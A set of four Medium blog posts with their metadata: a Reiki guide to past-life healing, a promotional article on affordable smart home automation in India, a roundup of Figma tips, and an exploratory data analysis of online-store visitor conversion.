The Ten Simple Steps Step One: Take a few minutes to create a sacred space for your healing session. Clear away clutter, vacuum the floor, light a candle, burn incense, play uplifting music, etc. By spending time to create a clean, sacred space for your exterior, you’re inviting the Universe to match that high-vibrational outer space with a high-vibrational inner space. By crafting a sacred space, you lay the groundwork for Magic. Step Two: Recline on a couch or bed. Snuggle in your favorite pajamas and comforting blanket. You want to make sure that your body feels as soft and relaxed as possible. Step Three: If you have Reiki spirit guides, call them in now. (If not, no worries. Proceed to step four.) Step Four: State your intention aloud. Tell the Universe (God/Source/whatever name you want to call it) that you are ready to heal your past life wounding. If you remember the specific situation or lifetime that you’re wishing to heal, give yourself permission to gently see, sense, or feel that memory at this time. Important note: You do NOT need to mentally remember what those specific wounds are. Some of us simply have a vague sense that something awful happened in a past life. It’s not necessary to have the memory: simply set the intention to heal. Step Five: If you are attuned to Level Two Reiki, draw and chant the third symbol (DKM). If you are not yet attuned to this level, that’s perfectly okay: simply say “I am now traveling through time and space, with the power of Reiki energy, in order to heal my past life wounds. And let it be so.” Step Six: Let the energy flow. Allow the energy to penetrate your heart chakra. Step Seven: Allow any images, impressions, feelings or sensations to arise. Allow your body to move if it wants to move. Sometimes bits of dialogue may flash through your mind (unfinished conversations from that previous lifetime). Allow yourself to talk to that person/people. If tears want to come, let them come. The tears may be associated with an image or thought, but sometimes not — you might just get the inexplicable urge to cry. Allow yourself to cry, shake, moan, twitch, laugh, or even fall asleep. Allow whatever needs to happen to happen. Please note: It’s normal for a past life healing session to get rather intense! For example, in a recent session of mine, after drawing DKM and allowing the Reiki into my heart, I spontaneously began to sob and moan and say “I’m sorry I couldn’t save you, I’m sorry I couldn’t save you, I’m sorry I couldn’t save you…” over and over and over again. (I was speaking to the soul of my former husband who had committed suicide.) I allowed myself to repeat those words until I felt calm and relaxed. Soul communications can happen through words, but they can also happen through sensations, images, smells, sounds, and many other ways. Be open to however the healing presents itself to you. Step Eight: Continue channeling the Reiki energy until you feel a release. Your body will feel lighter. It will feel as if a cloud that has covered your mind has suddenly cleared. Step Nine: If you have Reiki guides, thank them. Close the session by bringing your palms in prayer position in front of your third eye. Thank the Universe for gifting you with the tool of Reiki. Step Ten: Be gentle with yourself for the rest of the day. Take a nap or bath, and do your favorite self-care practices. Avoid noisy public spaces and hectic environments. Drink more water than usual. Follow my other protocols for Reiki aftercare.

https://medium.com/spiritual-secrets/how-to-heal-your-past-lives-with-reiki-ddd9da23db68

['Anya Light']

2020-12-13 07:01:15.255000+00:00

['Past Life Regression', 'Spirituality', 'Holistic Health', 'Reiki', 'Spiritual Secrets']

How Smart is India When it Comes to Building Smart Homes?

Home Automation business has been booming in the west since the early 2000s now but why are we lagging behind when it comes to India? Why are people not aware of smart home technology? Does it cost a fortune? What can be done in the field of home automation for your home? How smart will your home actually be if you opt for this technology? We’ll be looking at these and many other points in this article. Photo by Jonas Leupe on Unsplash You must have seen people asking Amazon Alexa or Google to turn off the lights or maybe play the music etc, but how do we achieve that? We achieve that with the help of the technology known as IoT or the Internet of Things. You can embed n number of devices with the internet and then operate them over the internet with the help of IoT. You can automate practically any electronic device by using IoT. Initially, home automation was limited to controlling only the lights and fans or other small electronic devices but we've come a long way from that. From smart thermostats to smart ACs we have everything now. India is significantly behind when it comes to owning smart homes and one reason for that is the high cost charged by most home automation companies. People are still under the impression that it is a luxury when actually it is easily accessible to the middle class as well. Companies like SmarDen are making it possible by keeping the cost as low as 70k INR when others are doing it for over 1.5L to 2L for a 3BHK apartment. Affordability is not an issue anymore. What actually is home automation? In simple terms, you can control all your electrical appliances with the help of a smartphone app or a hub. There are different kinds of home automation systems and they require different kinds of installations as well. You get the whole wiring redone from scratch. Get a hub installed where all your devices will be connected and then you can control them. Control them via the SmarDen app or Google/Amazon Alexa/Siri etc. Photo by SmarDen on Instagram What are some of the Notable Features of Modern-day Home Automation Systems? I think by now you already know that turning your lights on and off is not all that it is about. You can control almost any and every device with the help of IoT technology! Some of the many outstanding features of the Smart Home Technology are: Power Consumption Monitor In India, we know that sometimes the electricity bill can go over the roof and we can’t really object to it! But now you can, because there are companies who are providing this feature so that you can actually monitor the power consumed by each of your automated appliances in your house! This feature helps you save electricity and your pocket both at the same time! 2. Smart Locking Systems If you are like me who forgets her keys every time, then these are a blessing for you! You can lock or unlock your home via an app on your phone from practically anywhere in the world! It comes in handy when guests are coming over and they reach your home before you do so you can unlock the house for them from that busy traffic jam that you’re stuck in probably. Or maybe just give them temporary access to the unlock pin. 3. Security and Safety You can access your CCTV camera footage from anywhere and see what is happening at home when you’re away, that too all on your phone. You also get notifications when anything suspicious happens behind your back like someone tries to enter the house or even if they just show up and go away. 4. Motion and Smoke Sensors It is basically with the help of motion sensors that the system knows that someone has entered your premises. If there is a short circuit/fire/smoke anywhere in the house, you get a notification on your phone and so that you can take the action the situation worsens. 5. Setting Routines You can set daily routines for your bigger appliances like your ACs or Geysers etc so that they can turn on and off on their own and you don’t have to worry about them. 6. Control is on your Fingertips Sometimes I get awfully confused because no matter how hard I try I cannot remember if I turned the AC off or not! And I don't know about you but I cannot function well when I am constantly worried about my AC/Geyser etc! Thanks to apps like SmarDen where I can monitor all my devices and appliances and keep an eye on everything! And even if I leave that one light/fan on, I can turn it off from my phone, no matter where I am! Photo by SmarDen on Instagram What other features would you like to see in Indian Smart Homes? Smart Homes in India are not that common and it’s about time that they are! The technology is very easily accessible and beneficial for us. It makes our life way more convenient and gives us the freedom to wander about freely! An automated home is yours, your pocket’s and the planet’s best friend! Making a Smart Home is not a luxury anymore and the possibilities are endless! Check out Smarden app at https://play.google.com/store/apps/details?id=in.smarden and the website at Smart Home Automation System India | Smart Home Solution | SmarDen Check SmarDen shot here Shop — Smart Switches, Smart Plugs, Smart Lighting system (smarden.in) Check their Amazon Shop here https://www.amazon.in/s?k=smarden&ref=nb_sb_noss

https://medium.com/@meenakshiberwal/how-smart-is-india-when-it-comes-to-building-smart-homes-3131af26053e

['Meenakshi B.']

2021-03-25 07:36:44.361000+00:00

['IoT', 'Smart Home', 'Home Automation', 'Home Automation In Delhi', 'Home Automation System']

#FigmaTip Roundup 8.0

Welcome to our #FigmaTip Roundup where we pull our favorite Figma mini-lessons from the design community. If you’d like a refresher on past installations, click these links for 1, 2, 3, 4, 5, 6 and 7. Visually customize project thumbnails so you can find them in a cinch Zoom through the layers panel with these shortcuts Speed up your workflow with these selection shortcuts Copy/paste any property On Macs: command + option + C Use nested components to propagate changes in your design system Toggle between pages by hitting the mysterious “fn” key Use boolean operations for a smoother ride with Material Design — only available for those on Styles Beta A huge thanks to everyone who has submitted a #FigmaTip! And a special shout-out to Ben Fryc, Miguel Solorio, Anton Lapko, Joey Banks, Thomas Lowry and Rasmus Andersson whose tweets are featured in this #FigmaTip Roundup.

https://medium.com/figma-design/figmatip-roundup-8-0-d3731b47a7ef

['Valerie Veteto']

2018-06-06 17:20:42.095000+00:00

['Tech', 'Design', 'UX', 'UI', 'Product']

Predicting Visitor-to-Customer Conversion for an Online Store via Supervised Machine Learning- Part 1: Introduction to Business Case and Exploratory Data Analysis

Predicting Visitor-to-Customer Conversion for an Online Store via Supervised Machine Learning- Part 1: Introduction to Business Case and Exploratory Data Analysis Bharat Sethuraman Sharman Oct 27, 2020·10 min read In this two part series, I will write about my experience working on a Kaggle Data Challenge (Here’s the Link) as a part of a graduate course on Statistical Learning that I took at the University of Waterloo as a Masters Student in Statistics. In the first part, I will talk about the following two topics: Business Case behind this Data Science problem Exploratory Data Analysis So, let’s dive in straight into the problem: Business Case: The owner of an online jewellery shop wants to figure out a way to increase her revenues. In particular, she wants to accurately predict whether a visitor to her website will end up purchasing a jewellery product. At a surface level, this looks like a simple issue. Let’s say she gets 1000 visitors to her website on an average per week and 10 of them buy a product. So all she has to do is analyze web-data about 10 these people and generate targeted advertisements to get them buy more in the future. Let’s stop and think about the intricacies of this issue. These people have already purchased her product. So they are likely to make purchases in the future too. Out of the remaining 990, are there customers similar to these customers who left just short of making a purchase ? If so, what features underlie this similarity ? Where are the customers located, when do they make the purchase, can the non-buyers be nudged to make a purchase if we come to know that some of them spent a while on pages where a discount was running, how many of the people who did not make a purchase this week are existing customers and how many of them are new visitors ? As we see, the task of increasing the revenue of an online store through predictive analytics is far from trivial. There are many variables and in such a multi-dimensional setting, we can leverage the power of Machine Learning to improve the accuracy of customer prediction and uncover insights from the patterns that we can then leverage to achieve our objective of increasing sales. 2. Exploratory Data Analysis Imbalanced Dataset The training and the test datasets can be found here on my GitHub page of the project. The training and the test datasets consist of 8630 and 3700 visitor entries respectively. The predictor variable Revenue is set to1 for visitors who turned customers and 0 otherwise. The dataset is highly imbalanced i.e. out of the 8630 visitors in the training dataset, only 1335 turned customers, i.e. a conversion rate of 15.4%. This is important to note because we want to make sure that our prediction algorithm does not err on the side of the majority class and simply predict every entry as a non-customer. So we must choose the right metric to evaluate the results of our predictive algorithm. An example will make this clear: Let’s say that we have an algorithm that simply labels every entry as belonging to the majority class. In our case, out of every 100 entries, 85 will belong to the majority class (Non-Revenue ) and therefore, the algorithm that simply labels each entry as non-revenue will achieve an accuracy of 85%. The downside however is that it has a 0% accuracy over entries that belong to the minority class as it will classify every Revenue entry as Non-Revenue. So Accuracy is not the right metric here. Instead, we choose a metric that captures how well the algorithm classifies the minority class. The ROC AUC score is one such metric. ROC AUC stands for Receiver Operating Curve — Area Under Curve. The ROC AUC score ranges between 0 and 1 and a high value signifies that the model has high skill in separating the positive and the negative examples. It is a commonly used metric to evaluate the performance of models especially in cases of imbalanced datasets. A good explantion of the underlying theory and intuition can be found here Data Attributes The dataset has 17 predictor attributes that are either numerical ( continuous and discrete) and categorical, a customer ID and the revenue output variable that takes either 0 or 1. I have created a word document here that has a brief description of each of these attributes. Missing Values I sorted the training dataset (online_jewellery_shop_train.xlsx) in Excel to see if some entries had some attributes that were missing. There were 8 entries that had 8 missing attributes. As these 8 entries represent less than 0.1% of the training dataset, I removed them from the dataset. Similarly, the test dataset had 6 entries that did not have these 8 attributes and I removed them too. I approximated the visitor to customer conversion probability for these missing test set entries by assigning the average value of the predicted probabililty of the whole test class to each of them. While this is an approximation, given that the missing entries are very few (~0.1%) and the pattern of missing attributes is consistent, I felt this would be an acceptable thing to do in this case. If the number of entries with missing values were significant, say 5–10% of the dataset, then this strategy of removing missing values could lead to a loss of valuable information. An alternative strategy, such as imputing missing values would be needed in that case. The missing attributes of the training and the test datasets are shown in the tables below: Missing Values in the Training Dataset Missing Values in the Test Dataset The training and the test datasets after removing the entries that have missing attributes can be found here (input_training_data.csv and input_test_data.csv). Trends from Exploratory Data Analysis: I present some trends that I observed from the EDA that I performed on the Training Data. The underlying theme behind my EDA is the following: For each categorical attribute, I have plotted the percentage of Revenue (0) and Non-Revenue (1) visitors and compared that to the average value of Revenue visitors, i.e ~15%. By doing so, I hope to check if there are some attributes whose specific values result in disproportionately high or low revenue generating visitors. I have used the terms revenue visitors/revenue generating visitors and customers interchangeably. For example, on plotting the percentage of revenue generating visitors vs the number of jewellery pages they visit, it is clear that those visitors who visit more than 20 pages have a signigicantly higher conversion rate than visitors who visit less than 20 pages. This suggests that if the website is made appealing for people to stay and browse jewellery pages, people might buy more. This is a correlation and might not mean causation, i.e. those visitors who eventually buy might be spending more time on jewellery pages. However, one can do an experimental design and test the hypothesis that appealing webpages make people stay more and eventually buy more as well. Conversion Rate vs Number of Pages visited on the website For example, when I plotted the customers as per the number of administrative pages that they visited, I observed that there is no particular trend in terms of the percentage of customers (Revenue=1) and the number of administrative pages that they have browsed except the fact that out of those visitors who do not browse any adminstrative page (3994 of them), only 9% (362) made a purchase. So prima facie, the number of administrative pages seems to be a non-significant factor for revenue generation except for this tid-bit of observation. I have shared the results of my exploratory data analysis here Here’s the summary of my EDA findings: Page Values: There is a strong positive correlation between the number of jewellery shop pages visited and the conversion rate. People who visit more than 20 pages have an especially higher conversion rate (>70%)as compared to the people who visit 20 or less pages (~10%). This suggests that if the website is made appealing for people to stay and browse jewellery pages, people might buy more. This is a correlation and might not mean causation, i.e. those visitors who eventually buy might be visiting more jewellery pages. However, one can do an experimental design and test the hypothesis that appealing webpages make people stay more and eventually buy more as well. Exit Rate: There is a strong negative correlation between the Exit Rate and the conversion rate. Exit rates of 0.02 and above are associated with a below average rate of conversion. Bounce Rate: There is a strong negative correlation between the Bounce Rate and the conversion rate. Bounce rates of 0.01 and above are associated with a below average rate of conversion. Time spent on Product Related pages: There is a strong positive correlation between the time visitors spent on Product Related pages and the conversion rate. People who spent beween 3200–6400 units of time on product related pages had a conversion rate of ~30%. This insight can help in boosting sales by for example, installing a time tracker on the website and as soon as people exceed a threshold of time spent on product related pages, they can be offered a discount to prompt them to buy a product. Time spent on Informational pages: There is a weak positive correlation between the time visitors spent on Informational pages and the conversion rate. While there is clearly a jump at 130 units, i.e. people spending over 130 units have at least 25% conversion rate as compared to 15% for those spending less than 130 units of time, those who spend 520–650 units have a conversion rate of only 27%. Time spent on Administrative pages: Similar to the case of informational pages, there is a weak positive correlation between the time visitors spent on Adminstrative pages and the conversion rate. Number of Product Related Pages visited: There is a strong positive correlation between the number of Product Related pages visited by people and the conversion rate. It is quite likely that there might be a strong correlation between this variable and the time spent on product related pages. I have not checked for such correlations in this data challenge but will address this issue in a separate post. Number of Administrative Pages visited: Overall, there does not seem to be a correlation but those visitors who do not visit administrative pages at all buy at a significantly lower rate (9%)than those who visit one or more pages (20%). Again, this variable could be strongly correlated with the time spent on adminstrative pages. Number of Informational Pages visited: The trend seems to be quite similar to the time spent on informational pages. So these two variables could be correlated. Closeness to a special day: It might seem counter intuitive, but closeness of the day of visit to a special day results in a lower conversion rate. This of course depends on how we define the degree of closeness but if 0 means that the day of visit is far from the special day and 1 means that the day of visit is on the special day, then there is clear a negative correlation. Month of visit: November seems to be the month having the highest conversion rate (26%). This store can use this observation to sell more during this month, i.e. try channeling more traffic to the website during November and see whether it results in even higher sales. Weekend: Weekends result in higher conversion rates as compared to weekdays, 17% vs 15%. Visitor Type: A new visitor has a significantly higher conversion rate (25%) than a returning visitor (15%). This means that if a new visitor is coming to the website, one can leverage the novelty of experience to make a sale. This can be opportunistic but can be acted upon if the site experience is good enough for a sizeable majority of the new visitors to return. Traffic Type: Traffic Type 2 results in the maximum number of conversions (587) and has a relatively high rate as well (20%). The IT team can investigate why the highest number of revenue generators belong to this type and if this variable is alterable, then can other people also be converted to traffic of this type ? Region: This does have any effect on conversion rates. So region based marketing might not be helpful for this store. However, by far the maximum number of revenue generating visitors are from Region 1 (549). So the marketing team must be careful to make sure that they guard their position in thos region from competition. Browser: Most buyers seem to use Browser 2 but the type of browser does not seem to have only a weak correlation with conversion rates. Operating System: While Operating Systems 2 and 1account for most revenue generating visitors, there is no correlation of conversion rates with this variable either. So the key business insights that I got from the EDA are the following: A. Focus on Web-Design: Investing in making the Website more appealing and user friendly can potentially result in higher sales: There is a strong positive correlation between variables such as Page Value, Number of Product Pages visited etc and the conversion rate. So, there seems to be a business case for investing in increasing the retentive capacity of the website. One can confirm this hypothesis by designing, running and analyzing experiments. B. Fix technical issues of the website: A low Exit Rate and Bounce Rate have high conversion rates. So reducing these two rates are also likely to result in a higher conversion rates. C. Give special care to new visitors : New visitors to the website have a higher conversion rates than existing visitors. So, if a new visitor is coming to the website, the marketing team can offer discounts / special deals to convert these first time visitors to revenue generating visitors. D. Certain months result in higher conversion rates: November seems to be the golden month. So, the marketing budget can allocate a higher portion of spending to the weeks leading to November and the month of November itself. E. Special Days: Contrary to what one might think, conversion rates on special days are lower than normal days. That’s it for Part 1! I Hope you found something here that you can apply in your work. In Part 2 (see here), I will be covering Data Preprocessing and Implementing Supervised Classfification Algorithms ( Random Tree and XGBoost).

https://medium.com/@bharatss/predicting-visitor-to-customer-conversion-for-an-online-store-via-supervised-machine-learning-d5943b4a0e04

['Bharat Sethuraman Sharman']

2020-10-28 04:10:41.843000+00:00

['Predictive Analytics', 'Data Science', 'Supervised Learning', 'Machine Learning', 'Digital Marketing']